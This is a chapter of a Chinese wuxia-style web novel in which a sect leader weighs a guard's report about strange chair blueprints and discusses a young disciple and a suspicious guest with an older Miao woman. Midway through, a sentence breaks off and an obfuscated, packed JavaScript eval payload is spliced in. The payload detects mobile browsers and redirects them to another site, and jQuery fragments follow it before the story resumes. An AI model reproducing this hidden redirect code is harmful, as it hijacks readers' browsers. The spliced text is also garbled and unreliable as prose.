77. 第 77 章

作品:《和反派一起搞事业

    夕阳西沉,给远山和竹林镀上一层金红的光辉。


    东方凛站在书房窗前,目光穿透摇曳的竹影,凝视着远方渐渐被晚霞一片片染红的山峦。


    他身着墨色长衫,身形挺拔如松,眉宇间藏着深沉的思虑,仿佛一座静默的孤峰。


    这时,暗卫悄无声息地步入书房,躬身行礼:“主子,情况已明。计旗主身后确无尾巴。”


    声音低沉,如夜风掠过竹林带着一丝谨慎。


    东方凛微微颔首,目光未移,像是要把最后一丝余辉尽收眼底。


    他手指轻轻敲击窗棂,节奏缓慢,在暮色里拖出悠长的回音。


    这处秘舵隐于都江堰上游竹海深处,距灌县码头不过十余里,顺流而下,成都府的锦官驿、宏济桥皆在其兵锋所指……


    此地虽是青城派势力边缘,却因竹海遮蔽,反成视线死角。


    这条航道——这条青城派赖以为生的水上命脉,他想夺取。若拿下,青城派年终的进项怕是要断掉五成。


    夺取航道这事,倒也不急。就像收租子,先让房客白住几月,等他们习惯这条路,再一封江,他们就得跪着来求他开恩。


    计无咎这个老-江湖,总算不是太无能。至少比上个月那个被水匪灌醉后扔江里的副旗主强些。


    他看一眼在竹枝上叫不停的黄鹂,挥袖吓得鸟儿振翅飞走。


    周围恢复安静。


    转身回到座位,他问暗卫:“计旗主在据点待了近一个时辰,都做了什么?”


    “回香主的话,他在客房里待了大半个时辰,就去木工房找张木匠订做了一把奇怪的椅子。”


    暗卫说着上前把一叠图纸,恭敬地摆在了他身前桌案上。


    他翻了翻,线条交错如鬼画符,全然看不明白。


    但香主威严不能丢,只能故作高深地点点头:“嗯,设计得……很有深度。”


    他偷瞄一眼暗卫,发现对方也一脸茫然,这才放心发问:‘张木匠怎么说?’


    “这老头嘴里魔怔似的念叨:‘妙!此机关巧夺天工,张某活了大半辈子,今日才算开了天眼!’


    暗卫话音刚落,东方凛眉峰一提,指节在案面悬停一瞬,才缓慢扣下。


    那声轻响似敲在暗卫心口,令他呼吸一滞。


    他立刻补充细节:“老头死抱着图纸不撒手,就像抱着刚出生的亲孙子。”


    “若不是属下亮刀,还说要拿来给香主您看,他压根舍不得把图纸给属下。”


    “就这样,临行时他还再三叮嘱要保护好这些图纸,并向属下打听这些图纸的出处。”


    东方凛眼神一凝,“计旗主没告诉他?”


    “张老头不要计旗主一文钱,一心只想打听作图的机关大师消息。计旗主却守口如瓶,气得他直跳脚。”


    东方凛拿起一张图仔细观察,墨色尚新,显是刚画的。


    笔迹很熟悉,刚柔并济,干净利落。


    他脑海中顿时浮现一张柔美的年轻女人脸。


    张木匠有一双巧手,曾跟随机关大师公孙云学习机关术。


    他虽只是一个记名弟子,却还有些真本事,这处据点的很多机关都出自他之手。这些图纸竟然能得他如此推崇,毕然不凡。


    想到这,他把图纸递给暗卫,“给张木匠,让他照图尽快把椅子做出来,拿给我看看。”


    “是,香主。”


    “计旗主从客房出来时,心情如何?”


    暗卫收好图纸,偷瞥他一眼道:“他神情愉悦,步履轻快。”


    东方凛呼吸声拉长,指节寸寸收拢,指甲边缘的月牙白从淡粉转为冷白,最终静止成一张无形的弓。


    弦在指下,箭在喉间。


    暗卫顿感喉咙发凉,心跳加快。


    这时,三声有节奏的敲门声打破了室内紧绷的气氛。


    他对暗卫一挥手。那人躬身一折,身影对折后反弓出窗,在竹林间闪现身影,瞬间消失在竹林黑影中。


    “请进。”


    门外先是极轻的银饰碰撞,像春蚕啃叶,继而细密的脚步声踩着竹节,由远及近,像山猫踏枝,利落里带着柔。


    推门时,银饰声骤然一响,如碎玉裂冰,随即归于沙沙的摩-擦声。


    “阿凛,还在忙啊?”妇人已走到案前,瞥了一眼案上堆放的众多卷宗。


    东方凛起身迎接,“素姨,您来得正好。我这新到了一些普茶,正想和您一些品尝。”(1)


    素姨一听就笑了,“那敢情好,我好久都没喝到家乡的茶了。”


    东方凛从柜中取了茶罐,先执铜壶,沸水绕紫砂壶淋浇。紫泥吸热,微闻砂响。


    他捏碎罐中一个茶团,让叶屑簌簌落入壶中。


    素姨提起铜壶高冲,滚水如银链泻下,他手腕一抖,洗茶水尽数倒出。


    素姨再注水,茶叶在壶中翻涌,茶香从壶嘴如龙吐纳。


    盖上壶盖,三个呼吸后,他悬腕倾壶,茶汤红绸般滑入甜白盏中,不溅不溢,盏面恰齐边沿。


    素姨坐在条桌边,拿起茶盏喝下一口,砸了砸嘴。


    有记忆中的味道,她又感到差了些什么。


    仰头干掉盏中茶水,她摇头道:“汉人的泡茶法是精巧,但喝起来总不如我们拿大碗灌爽快。”


    东方凛待要给她换大碗,她抬手阻止,手上银镯子哗啦响,“阿凛,我今天来可不是找你喝茶的。”


    东方凛放下茶盏问:“是狸儿这丫头,给您添麻烦了?”


    听到这,素姨语气有些不满,“你对这丫头下了什么死命令?最近三日,这丫头玩了命地练武。”


    “专心练武不好吗?”


    “你说呢?”素姨瞪他一眼。


    “狸儿的练武天赋是这群孩子中最好的。”


    “前些日子,她的心意拳还大有进步。她才十岁,武功已达江湖三流水平了,你还有什么不满意的?”


    “素姨,我没有拔苗助长的意思。”东方凛忙解释,“我只是让她专心练功,不要分心其他事。”


    “分心?”素姨若有所思,“她最近休息时神情郁郁,独自坐在一边,也不理会其他人,像有心事的样子。”


    说到这,她不禁低头沉吟:“狸儿今年十岁了,说大不大,说小不小,就快长成大姑娘了。”


    她眉头紧皱了来,手抓起桌上微热的茶盏,又放下来。


    再抓起,再放下。


    盏底磕在桌面发出轻响,反复敲击在她心上。


    “素姨,你到底在烦恼什么?”东方凛不解。


    素姨抬头,没好气看他一眼,“你们男人啊,就知道练武。你也不关心一下小姑娘的心事。”


    “我问你,狸儿是不是有了喜欢的人?”


    东方凛:“……”


    “你不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16942919|188546||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    许他们在一起,只让她专心练武,她才如此苦闷?”


    东方凛眼角一抽,差点没控制住爆笑。


    素姨看他表情不自然,越发认为事实是这样了。


    她叹息:“十岁的丫头,正是情窦初开的年纪。你硬拦着,她反而觉得那小子是天上的月亮,捞不着才最好。”


    “要我说,你把那小子叫来,让他当着我面给狸儿念三百遍情话,念得狸儿自己厌烦了,这事儿也就了了。”


    东方凛再也忍不住了,干咳了几声,压住满腹的笑意,快速解释了其中的缘由。


    素姨听完,沉思片刻后说:“我不大赞同你的做法。我们苗人讲究以诚待人,没这些弯弯绕绕。”


    “杨小姐这人是好是坏,多相处些时间总能看出来。”


    她抬眼定定望向他,“你若真厌烦她,早让她滚出竹楼了。”


    东方凛垂下眼帘,“这人很有才能,但心思深沉,我还要再看看。”


    素姨忍不住笑了,“好,你就慢慢看,仔细看,千万别看走眼了。”


    “其实,今日我来除了狸儿的事,也有关于她的事。”


    “什么事?”


    “廖老请我教她经脉穴道。我想找些小丫头来竹楼,让她上手练习。”


    “她如今还卧病在床呢。”东方凛抬眼,“廖大夫怎么就让她学武了?”


    他觉得这事不对。廖长青这么宝贝徒弟,这会儿却一点不体谅她的病弱,急着让她学武。


    这里面有什么玄机?


    “这问题我也请教过廖老。他说杨小姐体弱要习武强身。”素姨摇头,“我看事情没那么简单。”


    “但这是廖老的嘱托,我必须要把人教好。”素姨严肃地表态。


    东方凛:“这算什么事,您直接带人过来就是。”


    “我总要给你说一声。你放心,我会管住这些丫头,不会打扰你办正事。”


    “不过,阿凛你也要多顾惜着自己。”她担心地看着他,“你每日要练武,还要处理那多教务。”


    “听说前些日子,你还被青城派的长老重伤了。”


    “哎,老夫人要知道你过得这么辛苦,她不知会多心疼呢!”


    东方凛微笑:“万事开头难,我这点辛苦不算什么。”


    “您千万别跟祖母说,平白让她老人家担心。”


    若是祖母知道,定要亲自来成都府坐镇,他的计划怕是全要泡汤。老太太的唠叨,可比青城派的剑难招架多了。


    他笑着表态:“等我把事情理顺,慢慢就会好了。”


    素姨看他坚持的样子,只能摇头不语,眼中满是怜惜。


    这孩子从小就特别要强。族里长辈都夸他文武双全,是年轻一辈里的翘楚。可谁晓得,这些成绩背后他吃了多少苦?


    老夫人每次提起他,都忍不住心疼,说这孩子命太苦,从小便遭了太多不幸,小小年纪就扛起沉重的责任与负担。


    老夫人不放心他来成都府闯荡,让她也跟着来照顾。可阿凛自小便有主见,认定的事,九头牛也拉不回。


    哎,他如今脾气只怕更虎了。将来谁能降得住这匹野马?


    素姨无法,素姨无奈,只能在心里嘀咕:“哎,为了这个家,我只好去当恶婆婆,紧盯着那位杨小姐了。”


    她倒要看看,这杨小姐是会给阿凛灌什么迷魂汤,还是会在他茶里下什么蛊。